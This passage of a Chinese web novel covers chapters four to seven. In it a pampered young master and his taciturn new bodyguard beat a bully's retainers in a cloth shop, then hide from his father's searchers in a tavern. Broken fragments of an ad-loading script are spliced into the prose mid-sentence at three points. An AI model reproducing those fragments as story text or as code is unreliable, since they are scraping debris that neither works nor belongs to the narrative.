阿元陡然沉了眉眼,走上前来,低声告知他:“前两日天气转凉时,老大想为小少爷添置两件衣裳,于是命我来此处订购了这云雾绡,当时是以您的名字订购的。” “这里的老板我先前认识,人……还算不错,估计今日也是走投无路了,干出这种事。我真是服了,怎么办,小少爷,要让吗?” 叶安淮很快反应过来,捋清楚了事情的原委。 前两日阿元奉命前来订购这劳什子云雾绡,估摸着这玩意又贵又稀罕,送来这偏远的镇上需要个把日。也不知道这位胡少从哪得知了这条消息,跑过来闹事,说什么都想提前买下他订的这份云雾绡。 老板企图祸水东引,把问题转移到他们两个身上。 他站定在原地,在布庄老板希冀的目光中,疑惑地开口:“这位胡少是什么老弱病残吗?我进来时看见店门前的商牌上明明白白地写了,如需要求得提前预订。兴许胡少是有什么眼疾,看不见这显眼的商牌。这等大事可等不得,阿元,快去,去替这位胡少找一下镇上医馆的位置,切勿讳疾忌医啊。” 4. 第四章(已修) 第四章 阿元今日算是见识到小少爷这张嘴的厉害了。 他与叶安淮不同,后者不记事,但是他可认识面前的青年。 这位在纨绔之中都属于翘楚,上一回见还是三个月前,被他家小少爷踹了一脚,在县丞府上躺了整整两个月才恢复过来。 最重要的是,他那位县丞爹在镇上近乎只手遮天——云遥寨除外。 哪怕知道不能得罪,被喊到了名字,阿元下意识地回道:“公子,最近的一家医馆就在出门左拐的街角处,方才咱们路过的时候看见今日已经开张了。” 说完,他就恨不得打自己一巴掌,也缩在解洵的身后一动不动了。 叶安淮颔首,唇角微勾,隐约露出里面虎牙尖尖:“胡少,听见了吗?要是实在不识路,让本公子带你去也不是不行。” 胡申鸣仗着他爹的关系,在外嚣张惯了,谁见到他不是毕恭毕敬地想要讨好,这还是平生唯二两次被人指着鼻子骂,两次还都是同一个人,登时脸色青一阵白一阵。 虽然叶安淮不认识他,但是胡申鸣却记得这张脸。 他怒目圆瞪,咬牙切齿,一字一顿道:“叶安淮,又是你!” 看到这个人,腿上的旧伤就隐隐作痛。他现在连云雾绡都不想要了,阴鸷的眸子直勾勾地盯着他。 叶安淮点点头:“你好,是我噢。” “叶家的废物怎么会出现在这里?”胡申鸣有些好奇,“听闻你先前惹了众怒,被罚禁闭了不是?” 叶安淮:“嗯嗯,可能是我爹心善,舍不得我吃苦吧。” 屁,他自己跑出来的。 胡申鸣强压着心中几欲喷发的暴怒,他低低地笑了声:“叶小少爷,我本来还想去找你,结果你倒是先找上门来了,得来全不费功夫。倘若今日你将这云雾绡送本少爷,再跪下给我磕三个响头,本少爷今日就考虑放你走,如何?” 叶安淮疑惑了,他朝后跨出一步:“我就算不让,现在不也走了?” 语罢,他又朝前跨了一步:“喏,我又回来了。” 扑哧—— 在这僵持的场景下,也不知是谁先笑出了声。 胡申鸣:“……” 他依稀记得,三个月前,这人也是这一副云淡风轻的模样一脚踹在了他的腿上,毛骨悚然的骨头声传来,他疼得抱着腿在地上不断翻滚。 现如今,一切都不一样了。 自打那个事件过后,他爹便派遣了两名身手了得的侍从跟着他。胡申鸣不着痕迹地看了眼他的身后,很好,这一次云遥寨的那条疯狗没有跟过来。 “真是敬酒不吃吃罚酒。”他阴沉着脸,冷笑一声,随即退后半步,沉声喊道,“朱容,朱炎,去,把小少爷好生请过来。” 两名肌肉大汉脊背笔直,面色沉着,不怒自威。 叶安淮:“。”一言不合就要动手,真烦。他这边还带了个病残人士,倘若真面对上,一点胜算都没有。 他摸了摸袖口之中的匕首——逃跑他可擅长了,实在不行,阴恻恻地下点狠手,总归要比站着挨打强。 叶安淮脸上的笑意也逐渐消失了,眉宇轻蹙。 胡申鸣得意洋洋地坐在不远处,那张嘴脸看得叶安淮拳头痒痒的。剩下的人在一旁大气不敢喘,甚至有的人不忍心看接下来的一幕,偏过头去。 左右不过是打架,叶安淮打架还从未认怂过。他缓缓捏紧袖中的匕首,眉眼微沉,紧紧地盯着眼前不断逼近的两人。 只是还未行动,视野再一次被遮住了。 他片刻愣神的时间,一个熟悉的力道顺着他的衣袖钻了进来,捏了捏他的腕骨,示意他放松。 原先本来是解洵站在他身前,但叶安淮考虑他身上还未痊愈的伤,并未想过他会出手。 阿元早就缩在一旁吓傻了。 叶安淮蹙眉:“你……” 话音未落,温热的指尖又点了点匕首。 ……这是,要他收回去的意思吗? 不等他细想,眼前的大汉倏地朝他伸出手,想要抓住他带到胡申鸣的面前。 却被解洵半道拦截了。 他一边拦在叶安淮的身前,护着他,一边五指扣住大汉的手,犹如铁钳一般不可撼动,硬生生将其定在原地。 那只附在叶安淮腕骨上的手骨节分明,力道却比先前还要轻柔。 只听见“咔嚓”一声,刺骨钻心的疼痛陡然袭来,大汉惨叫一声,不可抑制地退后半步,而那只伸向叶安淮的手软绵绵地耷拉着,已然断裂。 那骨头断裂的声音尤为脆响,听得在场的人无一不头皮发麻。 胡申鸣:“?!” 一个疯狗不在,怎么又来了条疯狗?!这废物到底是什么香饽饽? 他冷汗狂冒,正欲喊另一人上前,冷不丁地抬头,对上了一双彻骨冰冷的灰眸。 解洵五官锋利,气质冷然,眼尾微挑时望向胡申鸣时,眸中隐约能看见最深处带着的一抹幽幽绿光。 仿若被冷血无情的猛兽给锁定,眸光冷冽森寒。 胡申鸣瞳孔猛缩,呼吸一窒,打了个寒战。 他控制不住声音的颤抖:“朱炎!朱炎!杀了他!快!” 那名叫朱炎的大汉神色一凛,右拳毫不犹豫地骤然出手——他的力道与身法显而易见地比方才放倒的大汉要更强一些。 可惜,解洵眼睛眨都不眨一下。 他微微偏头躲过袭来的拳头,拳风堪堪擦过他的脸侧,却未能触碰到解洵分毫。 他唇角勾起一抹讥讽的弧度,下一秒,掌心陡然扣击在朱炎的下颌骨。 朱炎整个人退后两步,踉跄了一下,轰然倒地。 这一切,也不过发生在瞬息之间,胡申鸣带来的两名“高手”护卫便双双失去了战力。 自始至终,叶安淮都站在他的身后,呆呆地看着他不过轻描淡写地两巴掌就把人打得失了神志。 布衣坊内鸦雀无声,一片死寂。 “走吧。”解洵收回视线,淡声对着叶安淮道。 叶安淮回神:“嗯?” 他指节下意识地蜷缩,被男人牵引着,面不改色地跨过一地狼藉,走到了胡申鸣的面前。 后者一脸惊悚,嘴唇都在颤抖。 解洵:“打吧。” 叶安淮:“?” 他反应过来: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “啊——” 既然有人撑腰,那小少爷就完全不怂了。他下巴微昂,露出漂亮的下颌线,笑得煞是好看,眉眼昳丽,黑瞳明亮又剔透。 嘭! 重拳出击。 鲜血顺着胡申鸣断裂的鼻梁喷涌而出。 叶安淮甩了甩被撞疼的指节,冷飕飕地瞥了一眼在一旁傻掉的老板:“还不送客?” 老板如梦初醒,颤巍巍地伸手试探了一下躺在地上的胡申鸣,猛地松了一口气。 还好,还好,还有气。 他赶忙唤人将这位少爷八抬大轿的搬去了隔壁刚开店不久的医馆。 真的就是神仙打架,殃及池鱼啊…… 叶安淮打完一拳,整个人都舒坦了。 若今日将解洵换成他爹的人,肯定是得先苦口婆心地劝他适可而止,莫要再招惹事端,断然没有现在这般爽快。 ——阿元就是一个活生生的例子。 “小少爷。”耳旁响起一个声音,叶安淮抬头望去,解洵正漫不经心地喊他,他问,“这下舒坦了吗?” 经过方才那一遭,小少爷心念微动,耳廓泛着红晕,羞赧地瞪了他一眼,又坦坦荡荡地点头:“舒坦了!” 他看那傻呗不满很久了。 叶安淮也是刚刚不久前才依稀想起来,自己三个月前似乎和这个胡申鸣见过一面。 解洵轻笑一声:“那就好。” 随即,便不再说话了。 叶安淮一阵郁闷,先前这人动手的时候干净利落,怎么说起话来就跟锯嘴葫芦似的。 他指节泛白,揪着解洵的衣角,干巴巴地问:“你呢,你身上的伤还未痊愈,方才他们伤到你没?” “他们还不够格。”解洵淡淡开口,他偏头凝望着叶安淮,薄唇微动,似是想说些什么,却被一旁没眼力见的老板给出声打断了。 “叶少,您今日来,是来取云雾绡的吗?”老板摩挲着掌心,脸上堆满了讨好的笑容。 其实不是。 但叶安淮思忖片刻,喃喃自语:“倒也是个好主意。” “老板,如果让你用那劳什子云雾绡给他做一件衣裳,何时能来取?”叶安淮指了指解洵,问道。 “今日!今日必能做出来!”老板信誓旦旦地开口,“叶少傍晚再来,定能取到衣裳。” 叶安淮算了算时间,感觉也差不多,点头说:“那好,给他量一下尺寸,傍晚前我来取。” “可是,公子……”阿元出声想要提醒,但转念一想,又闭嘴了。 算了,公子开心就好。 经过方才的一番骚动,阿元对解洵的敌意已经化解了□□成了,虽然还是不赞同公子将他纳入麾下,但凭心而论,要不是他,他们也没办法全身而退。 阿元思已至此,拍了拍解洵的肩膀,冲他竖起了个大拇指:“好样的,哥们。” “还不快谢过公子割爱,这云雾绡先前可是为了公子准备的呢!”阿元提醒道。 解洵眸光一转,视线落在了小少爷泛着红晕的耳廓上,那句道谢在唇舌之间辗转萦回,最终含带着笑意吐出。 “那属下,便谢过小少爷割爱了。” 5. 第五章(已修) 第五章 在那声道谢过后,这一路上,叶安淮都没再搭理过身后的人。 明明是一句很普通的道谢,可不知为何,从解洵口中道出,叶安淮就觉得莫名别扭。 原先说好的要带解洵去医馆看看,可附近的那家刚送去一个断了鼻梁的人,叶安淮嫌多看一眼都晦气,便想随便找一家酒楼吃些早茶。 忙活了这么老半天,连份点心都没吃上嘴。 于是阿元提议,街角附近有一家茶楼店里的早茶还不错,不如去那试试。 叶安淮勉为其难地答应了。 茶楼风格典雅,人满为患,清雅的茶香扑面而来,吸引了不少旅客。 据阿元说这家的点心口味不错,叶安淮顺着长廊走了一截路,到了厅堂,找到了桌角的位置坐下,环境相对也清静一些。 一坐下,阿元就自告奋勇:“公子,您先做,我去点单。” 临走之前还拍拍胸脯,挑衅地看了眼解洵:“放心,您的口味我最熟悉了!” 趁着阿元前去点单的功夫,叶安淮缓了一口气,靠在椅背上,黑白分明的瞳眸直勾勾地盯着解洵。 他打小就有个毛病,很想问的事情不会直截了当地开口,就这么一直瞅着人,把人盯到实在忍不住了,他才会开口。 那目光炯炯有神,想不发现都难,解洵抬眸:“小少爷,想说些什么?” 叶安淮慢条斯理地问:“这句话应该是我来问你才对。” “方才,你其实是有事情对我说吧?但是被老板打断了。” 解洵沉默片刻,点了点头,沉声道:“我想说的是,既然我已受雇于小少爷,还望小少爷能多信任我一些。” 他不着痕迹地瞥了眼叶安淮的袖口。 很不合时宜的,叶安淮稍稍有些走神。 解洵的声线听起来偏冷,仿若清玉缓缓敲击水面,泛起阵阵涟漪。 他的声音刻意压低,估计不想被旁人听见。叶安淮耳朵一阵痒痒,只觉得他声音有点好听,听到问话后茫然抬头:“啊?什么?” 走神了,一点没听进去。 解洵有些无奈地看了他一眼。 叶安淮后知后觉地回过神:“啊——” 他有意拖长音调,从袖口之中拿出先前攥在掌心的那把匕首,“你是说这个?” 那把匕首的刀身薄如蝉翼,在阳光下闪烁着银色的泽芒,任谁看,都是一柄锋芒无比,削铁如泥的利器。 但…… 叶安淮眉眼含笑,将匕首的刀锋对准自己的掌心。解洵见状,眉头紧蹙,猛地出手扣住了他的手腕。 “别紧张,没事。” 叶安淮缓声安抚,刀锋抵着掌心,缓缓划过,却只留下了一道淡淡的白痕。 “你看,这是没开过刃的匕首,我爹一年前送我的生辰礼物,先前拿出来也不过是想吓吓他们。” “我爹从不让我放任何利器在身上。”他把匕首往桌案上一丢,不想说他爹是因为怕他砍别人的时候不小心把自己也砍了。 叶安淮耸耸肩:“所以我也只能拿着吓唬人用,要不然早在遇到你的那一晚就往你身上叭叭招呼了。” 那一晚可谓是惊心动魄,叶安淮打小起就没见过那副惊悚的场面,一个血人在深更半夜骤然从巷子里窜出来把他拉了进去,一边低声跟他说不要说话不要动。 干脆直接写进中国恐怖故事剧本好了。 解洵几不可察地叹了口气,沉默半晌,状似不经意间问:“那小少爷准备何时回府?” “……” 叶安淮摸了摸鼻子,含糊其辞地说,“到时候再看吧,可能明日,可能后日。” 也可能是下个月,就看他爹什么时候回心转意了。 叶安淮这具身体似乎打娘胎里生出来就体弱多病,先前的几年都是养在寨子里,捧在手心都怕化了。但前两日,不知道他爹抽了什么风,硬是要将他送去什么破庙之中修养。 那破庙前不着村后不着店,想跑都难,叶安淮不想去。 还有一个更重要的原因。 他做了一个光怪陆离的梦。 梦中的细节多数都已经记不清了,依稀只记得几个关键词。 ——栖净寺,贵客到访,储君殿下…… 普天之下,唯有一人能被称之为储君殿下。 夜半惊醒,叶安淮满头冷汗,久久不能入眠,白日里也心不在焉,一听见他爹下达最后通牒,扬言要管他禁闭,于是赶紧收拾小包袱跑下山来了。 这些是他的小秘密,就连最亲近的人都没有告诉,也不想徒增他人的烦恼。 叶安淮有些心烦地撑着下巴,有些想念在寨子里无忧无虑的日子了。 解洵将他的表情变化尽收眼底。 这时,阿元点完单,噔噔噔地跑回来,开始眉飞色舞地报菜名。 什么水粉汤圆啊,虾饺啊,桂花糕之类的,确实全是叶安淮爱吃的。少年的表情肉眼可见的阴云转晴,眸光晶亮,一下子就将烦恼抛之脑头了。 他咬着筷子掰成两截,分别递给了解洵和阿元:“快快快,一起吃,再不吃要凉了。” 解洵接过筷子,拿在手中,心中默默总结。 虽然阴晴不定,但也是个非常好哄的小少爷。 --- 吃饱喝足,叶安淮带着人在镇上溜达了两圈便回布衣坊了。 说来也巧,他们到的时候,老板正拿着衣裳走出来,见他们来了,眉飞色舞道:“叶少,您来得正巧,这衣裳刚刚做好,您且来试试合不合身!” “快去快去。”叶安淮将云雾绡塞进解洵怀中,将人推进了内屋。 而后扭头,懒洋洋地对着老板道:“多谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老板,银两过两日我命人送来庄里。” 老板却摆手道:“叶少,您今日帮我解决了这么大一个麻烦,我多谢您还来不及呢。这云雾绡就当是布庄送给您的礼物,不收钱,不收钱的。” 不要白不要。 叶安淮拱手道谢,总算是知道先前阿元说老板人还不错是什么意思了。 没等多久,内屋的门被拉开了。 叶安淮窝在软椅上等得昏昏欲睡,余光中冷不丁出现一抹黑色,他偏头望去,眸光微微凝滞。 是解洵出来了。 那片云雾绡的颜色偏深,叶安淮当时只觉得这颜色兴许会很衬解洵的眸色,于是心血来潮让人用它缝了一件送给解洵。 只是没想到,居然会这般合适。 男人一袭深黑劲装,衣襟上镶锈着金云,墨发垂肩,身姿瘦削挺拔,肩宽窄腰,衣裳勾勒出修长的身形。 面容俊美,气质出尘。一时间让全场的人呼吸都轻了三分。 叶安淮满意地点了点头,果然没看走眼,他走上前去:“感觉怎么样?大小合适吗?” 解洵对衣物没什么讲究,就算是破布什么的都能穿,被迫被叶安淮推着转了两圈,又被这群人投来了熟悉的艳羡的目光,抿唇道:“尚可。” 尚可那就是还不错的意思了!叶安淮小小地在心里雀跃了下。 “确实不错。”一抹喜悦浮上眉梢,叶安淮抬手抚平解洵肩头的一缕褶皱,满意地点了点头,“这下总不至于出去玩的时候还丢了我的人。” 自己织做的衣裳居然能穿出这种效果,老板显然也有些意外。 他的眉宇间难掩兴色,走上前来,直夸赞:“真不愧是解郎君,俊极了!简直就和叶少天造地设!” 叶安淮:“……” 当今朝代与二十一世纪不同,男风盛行,断袖之人比比皆是,只是没想到他有朝一日也会被认为是其中之一…… 他诡异地沉默了,开始怀疑自己是什么举动造成了人这样一个大误会。 老板后知后觉地发现拍马屁拍到了马腿上,他小心翼翼地瞅了眼叶安淮:“难道……不是吗?” 阿元情绪失控,崩溃道:“当然不是!!!” “我们小少爷还未及冠,更非断袖,你这人怎么能这般眼拙,我看你才该去医馆看看眼睛吧!!!” 老板汗如雨下,连声道歉,就差给人行大礼了。 “不是,他只是我的侍卫而已……”叶安淮一阵头疼扶额,又不想过多解释,显得欲盖弥彰,索性拉着阿元快步离开,“今日之事多谢了,告辞。” 老板在后面不断行礼,心里却直犯嘀咕。 他年纪虽不大,但也比小少爷见多识广,那位解侍卫看叶少的眼神,分明与寻常侍从看待主子的眼神不一样。 可究竟怎么个不一样法,他也说不出来。 6. 第六章 第六章 凌云楼周遭一带,算是整个青溪镇上最为繁华热闹的街区了。 灯火冉冉升起,酒旗飘扬,一枚轻盈的银铃悬挂于檐下,伴着夜夜长风发出清脆的声音。窗棂外喷绘着鲜艳的色彩,在昏暗赤色的烛光下一片氤氲迷离。 空气中弥漫着脂粉的香气与香醇的酒气,光是闻着就让人醉心,不断有旅客驻足于楼前,抬头张望。 街边摊贩的吆喝声与车马声此起彼伏,人群之中,叶安淮脸上戴着随手在街上买的面具,银质的面具遮住上半张脸,却遮不住明亮漆黑的双瞳。 身旁气氛热火朝天,叶安淮扭头,扶着面具,刻意板着脸,眼底流露出明媚的笑意:“怎么样,还能认出我来吗?” 从他偷跑下山起已经过去两日,算一算,他爹今日应该就带着人来抓他了。 叶安淮还没有玩够,不想被抓回去,阿元便提议在街上买一副面具,有总比没有强。 阿元在一旁使劲拍手,捧场道:“太好看了小少爷!哪怕现在老大站在您面前都不一定能认出来!” 叶安淮眉眼弯弯,偏头问解洵:“你觉得呢?怎么样?” 本以为男人还会用“尚可”“不错”来敷衍,没想到他驻足在原地,端详了片刻,点了点头:“衬你。” 被那双银灰色的瞳眸注视着,哪怕只有两个字,也让叶安淮缓缓睁大了眼睛。 有那么一瞬间,仿若周遭的喧闹声被全部压下,只能听见如鼓的心跳声。 “公子……公子?”阿元疑惑的声音打断了他的思绪。 叶安淮恍然回神,心不在焉:“作甚?” 阿元担忧道:“公子,我怕再耽搁下去,酒楼就没有空闲的雅阁了。” 叶安淮:“说得也是,那先走吧。” 他甩了甩脑袋,将脑海里混杂的思绪甩在脑后,晃晃荡荡地朝着凌云楼走去。 一踏入凌云楼之中,扑面而来的芬芳酒气让叶安淮顿时精神了。就在这时,一道惊喜的声音便从右侧传来:“哎哟,这不是叶大少爷,今儿什么风把您吹过来了?” 叶安淮扭头望去,凌云楼的掌柜摩挲着掌心,一脸谄媚地走上前来:“叶少,好久不见好久不见,今儿还是老样子,给您备一间雅阁吗?” ……不是说他爹来了都认不出来吗? 叶安淮偷偷瞪了一眼阿元,后者憨笑地挠了挠脑袋,还以为是他不想说话,便上前一步:“掌柜的,听闻今日凌云楼里来了位说书先生,我们少爷特地为此而来。” 掌柜心领神会,点头哈腰:“我懂,我懂!还不快去,给叶少备上视野最好的雅阁!” “您就什么都不用管,一路跟着他便是。” 叶安淮出门在外向来出手阔绰,也难怪会这般受欢迎——不过这一半都是他爹的功劳。 踏着木阶登上三楼,周遭的环境一下子静了下来,空气中也没有弥漫着呛人的胭脂味,叶安淮感觉自己的鼻子一下子通畅了不少。 小二推开长廊尽头的最后一间雅阁,其后长袖飘飘的仙女们毕恭毕敬地端上茶酒。 一进到雅阁之中,小少爷就像没骨头似的倒在了软榻上,摘下脸上的银质面具,舒舒服服地长叹一声。 阿元在身后屁颠屁颠地为他斟满酒。 说书先生还未到场,长台上空无一人。 余光瞥见男人并未坐下,叶安淮喊他:“喂——” 男人抬眸望来,叶安淮拍了拍身旁的软垫:“过来坐吧,我这里没有那么多规矩。” “一个人喝酒也挺无聊的。” 解洵顿了顿,顺从地在他身旁席地而坐。 叶安淮只手撑着下巴,指尖一弹,空酒盏顺着桌案滑到了解洵的面前:“放轻松点,一整天绷着一张脸,怪吓人的。” 绸缎般柔顺的黑发倾泻而下,乖巧地搭少年的肩头,长袖滑落,素净骨感的手腕白得晃眼。 他的脸上露出些许狡黠的笑意,唇后的虎牙若隐若现。 解洵别开目光,神色淡然:“那便多谢公子抬爱了。” 说罢,他抬手倒酒,举杯,喉头滚动,将腥辣的酒液一饮而下。 “爽快!” 叶安淮弯了眉眼。 虽说这位兄台和他相处了才不到两日,性格还这么闷骚,但不得不说这脾气确实蛮对他胃口的。 他再一次庆幸自己那夜的选择没有做错。 此酒名为钓诗钩,入喉腥辣,片刻后才会回甘。 叶安淮倾斜着身子靠在木栏边,垂眸时长睫微颤。小口小口地抿着,酒液浸润了饱满的唇瓣,水光一片。 解洵又一口清酒下肚。 不一会,棱台上的说书先生才姗姗来迟。 叶安淮百无聊赖地瞥眼一看,才发现这位青溪镇赫赫有名的说书先生看起来其实年纪并不是很大。 青年一袭青衫长袍,拂袖而坐,卷轴哗啦一下摊开。 叩响压言木,他嗓音清润,缓缓开口:“列位看官,上回讲到那大堂之上灯火通明,歌舞升平。可您知道,这明处的灯火越亮,暗处的阴影便越深。一潭静水,看似无波,实际底下却是暗流涌动。” 阿元听了没两句就开始蹙眉了:“这先生在说些什么啊?怎么句句都在打哑谜,说得不明不白的。” 叶安淮趴在木栏上,下巴枕着手背,百无聊赖地饮酒。 心说这听书怎么跟上课学数学一样,缺了一节课,后面就都听不懂了。 那说书青年继续道:“就说这朝廷之间啊亦是如此,一边是根基不稳的太子殿下,另一边,则是手握大权的摄政王。啧啧,这两虎相争,谁胜谁负,还真不好说啊。” “唉,这朝廷局势千变万化,哪是我等可妄言议论的?”青年摇了摇头,长叹一声,神色忽地一凝,“可谁曾想,正当这双方局面僵持不下的时候,忽地传来了一桩惊天大案——” 叶安淮手中的杯盏一顿,缓缓坐直了身子。 “大厦将倾,世事难测,咱也不敢多说,嘿嘿,这到底是个什么惊天大案,且听下回分解。” 青年话头一收,转而又讲起了一系列江湖琐事,只字不提方才的事。 阿元:“嘿,这人!” 叶安淮听了两三句就不想听了。 他对于朝廷的现状不感兴趣,也对那太子和摄政王的纠葛不感兴趣,只要不波及到他身上来,哪怕改朝换代都和他半点关系没有。 叶安淮收回视线,才发现酒壶中空空如也,已经被喝光了。 自己也就小酌了一两杯,那剩下的…… 他抬眸看向解洵。 男人神色淡淡,不知在想些什么,手中的酒杯已然空了。 屋内光线明亮,那人却仿佛孑然一身,略显单薄的影子拉得狭长,静静地端坐在桌案前,如青山般寂默。 莫名寂寥。 酒意上头,等反应过来时,叶安淮已经倾身向前,拉住了他的手腕:“你……” 话已半道出口,却又不知道说些什么了。 只能胡乱开口:“你把我的酒都喝完了,你得负责!” 解洵哑然,“抱歉……” 阿元眼瞅着气氛不太对,连忙出来打圆场:“公子,都怪我,我没太注意,我现在就去给你重新倒酒!” 他端起酒壶匆忙站起来,临走之前还给解洵使了个眼色。 雅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阁之中只剩他们两个人。 气氛再一次静了下来。 叶安淮缓缓收回手,抹了把脸:“我不是那个意思。” 他重重地叹了口气,生硬地转移了话题:“过两日,待我回了寨中,你应该与我一起吧?” “毕竟月俸还没来得及给你,况且你今日还帮了我。我……身上没带那么多银子,只有回了寨中才能给你。” 叶安淮已经完全不知道自己在说些什么了,懊恼地闭了闭眼。 “总之,既然你已经答应了做我的侍卫,就不能食言!” 他一通胡言乱语,语毕,耳旁倏地响起一声轻笑。 抬头,就看见那双银灰色的眸子里流露出些许笑意。 解洵道:“我不会食言的。” “我伤势未愈,处境危险,又身无分文,除了小少爷身边,我又能走到哪里去?” 叶安淮讷讷开口:“也对。” 也不知是不是酒意的影响,一时看岔,刚才还以为这人跟神仙似的要飞升去了。 “所以小少爷不必担忧。”他温声道,“我哪也不会去的。” 叶安淮一时懊恼,觉得自己今日从早晨起就有些不太对劲。 但很快,他便没有心情纠结这些细小琐碎的事情了。 雅阁外倏然传来了一众人凌乱的脚步声,掌柜那谄媚讨好的声音隐约响起:“苗公子,我依稀记得方才叶少就是在这一层没错。” 那一个“苗公子”把叶安淮瞬间五雷轰顶,整个人一震,飞速起身走到木门外,扒在木门上仔细偷听。 果不其然,听见了另外一个熟悉的声音。 那人道:“究竟是哪一间?” 掌柜犹豫:“这……可能还得再找找。” 再然后,就是一阵翻箱倒柜的声音。 他爹的人找来了! 叶安淮整个人都炸毛了,果然就不该来凌云楼,这掌柜见钱眼开,只要给足了银子什么都往外说! 解洵见状,蹙眉道:“公子……” 嘘,嘘嘘嘘! 叶安淮回身扑了过去,捂住解洵的嘴,拼命使眼色,全然不顾男人微微僵硬的身子。 他附在他耳边低声道:“别说话,千万别发出声音!我爹的人找来了,要真在凌云楼里把我抓住,我就完了!” 叶安淮扒拉着解洵的衣袖,面色被这突如其来的打击吓得发白。 窗棂外的动静越来越近,眼看着他们就要搜到最后一间了,叶安淮急得就差冲窗沿边上一跃而下了。 就在这时,解洵一只手捏住了他的手腕,另一只手顺带勾住纤细的腰肢,往怀中带了带。 他低声道:“冒犯了。” 与此同时,叶安淮的脑袋被压下,埋在了解洵的脖颈处,手臂挂在他的脖子上,整个人似是缩进了解洵的怀中。 他大气不敢喘,一动不动。 解洵早晨时身上敷了药,贴近时能清晰地闻见他身上传来的清苦的药香,鼻尖充斥着陌生的气味,却并不难闻。 身后的木门吱呀一声被打开了。 掌柜一眼看见了屋内的两人,脸上浮现出一抹惊喜,正准备高声呼喊。 嗖—— 一枚银子划破空气,打断了他未出口的话,擦着脸颊猛地扎在了身旁的木门上,迸裂的木屑簌簌落下。 掌柜机械般滞缓地看了眼深深嵌入木门上的银子,目光呆滞地挪向了不远处的男人。 少年逃避似的将脸埋在男人的胸前,而后者那双银灰色的眸子冷冷地看着他,像是圈地护住宝藏的猛兽,不容旁人觊觎半点。 解洵缓缓竖起食指抵在唇间。 嘘—— 7. 第七章 第七章 掌柜的声音像是一只大手钳住了喉咙,悉数吞回了肚子里。 身后传来了声音:“找到了没有?” 情急之下,掌柜一把将木门关上,顺带还拿走了那枚嵌在墙壁上的银子:“没有没有,苗公子,兴许是我记错了……诶,那边您查看过了吗?” 他转移话题的样子过于生硬,就连叶安淮都听不下去了。 也不知是不是苗子越过于心急,居然没有察觉到,带着一帮人又从掌柜指着的方向继续找人。 雅阁外又传来了凌乱的脚步声,渐行渐远。 叶安淮悄然抬起头,用眼神示意:人走了吗? 解洵静听了一会,点了点头:“应当是离开了。” 叶安淮猛地松了一口气。 后知后觉地才发现,他们两个现在的姿势有些奇怪。 ——为了防止自己从他身上滑落下去,叶安淮的爪子扒拉着解洵的衣襟,无意间把解洵今儿刚换上的新衣服攥得皱巴巴的。整个人窝在他的怀中,仿若霸王硬上弓般,把人硬生生地按在了原地,甚至有种骑在他身上的错觉。 呜哇! 叶安淮一惊,整个人都跳了起来。 解洵从善如流地放开他。 叶安淮耳廓滚烫,目光四处乱瞟,脸上布满了羞愤的红霞,整个人都快烧起来了。 他上辈子虽然也夜店酒吧两头跑,但叶家对男女之事管得非常严,导致叶安淮活到了十八岁都没有交过女朋友——当然,男朋友更不用说了。 他们家是开娱乐公司的,最忌讳各种各样的绯闻,叶家大哥也曾命令禁止他跟那群酒肉朋友混在一起,所以叶安淮向来洁身自好。 来了这里就更不用说了,这里的风气偏守旧一派,叶安淮来到这里五年,连个贴身仆人都不曾有过。 他偷偷瞥了一眼解洵,后者依旧面不改色地坐在原先的位置,叶安淮只道是自己太敏感了。 他深呼吸一口气,调整好情绪,拂袖而坐,好奇地问:“方才进来的是何人,你是怎么将他打发走的?” 解洵说:“是掌柜,给了他一枚银子,就屁颠屁颠地跑了。” 他说谎时眼睛都不眨一下,只字不提那一枚银子差点把人命给崩了的事情。 叶安淮疑惑道:“真有这么简单?” 解洵点头。 叶安淮终于心安了,只要是钱能解决的事情都不算事情。他长叹一口气,捡起地上的面具站了起来,戴在脸上:“走吧,我们得回去了。” “再待下去,真就要被苗子越发现了。” 就在这时,阿元终于匆匆忙忙地跑回来了,一把拉开门,惊慌道:“公子,公子不好了!” “你家公子好得很呢。”叶安淮懒洋洋地出声。 阿元上气不接下气:“不,不是。公子,您猜我看见谁了!” 意识到自己声音太大,阿元左顾右盼了番,凑上前,低声道:“公子,方才我看见苗哥了,他们好像已经发现我们今夜在凌云楼里了,苗哥带了一群人过来!” “我知道。” 叶安淮白了他一眼:“人都已经来过了,这事儿还得多亏了解洵。” 对,解洵是他的侍卫,做这些事是理所当然的。 阿元恨得两眼泪汪汪,直咬手帕。 如果他方才也在公子身边,准能比这男人做得更好! 他正想瞪一眼解洵,结果目光落在他身上时又一愣,疑惑开口:“你的衣服怎么皱成这样?”怎么像是被人刻意揉皱的? “……”叶安淮目移,“这些都不重要,重要的是,我们得赶紧跑了。” “要是真被抓回去,估计你半个月都见不着你少爷一面了。” 一想起方才腰别长刀凶神恶煞的“苗哥”,阿元忍不住哭丧了脸:“公子,您说要是苗哥知道了我带着您跑下山,会不会把我关着吊起来打……” 叶公子冷笑一声:“我不知道你苗哥会不会这样干,但是我爹是一定会把我吊起来打。” 两人对视一眼,幽幽地长叹一声。 “说起来。”一旁的解洵蓦地开口了,他慢条斯理地整理好被揉皱的衣襟,“属下还不知,小公子是为何出逃?” 他若有所思地问:“莫不是被家里人虐待了?” 叶安淮没未来得及开口,阿元就率先抢话:“怎么可能!整个寨子中我们老大最惯小公子了!你一介外人,不许挑拨老大和公子的关系!” 阿元看不惯这人好久了,一找到机会就开始呛话:“这些细枝末节的事情你就别问了,反正你也不过跟着公子一时,等咱们上了山回了寨,你就得离开了。” “公子,你说对吧!”他满怀希冀地望着叶安淮。 叶安淮:“。” 他总不能说,不久前他还拽着人衣领逼着人跟他回寨。 解洵并不搭话,反而意味深长地看着他。 叶安淮轻咳一声,板着脸生硬地转移话题:“行了,这些小事情等之后再说也不迟,现在最重要的不是怎么在苗子越的眼皮子底下离开吗?” 阿元讷讷摸了摸脑袋:“也对。” 他担忧道:“但少爷,我看这一次苗哥全副武装地过来,带了好几号人,前门后门都堵死了,我们该怎么办?” 怎么办…… 叶安淮蹙眉思忖,视线不经意间落在楼下那位正整理着东西准备离开的说书先生身上,陡然心生一计。 他回头看了眼解洵,目光诚恳:“解兄,你道德标准高吗?” 解洵:“……?” 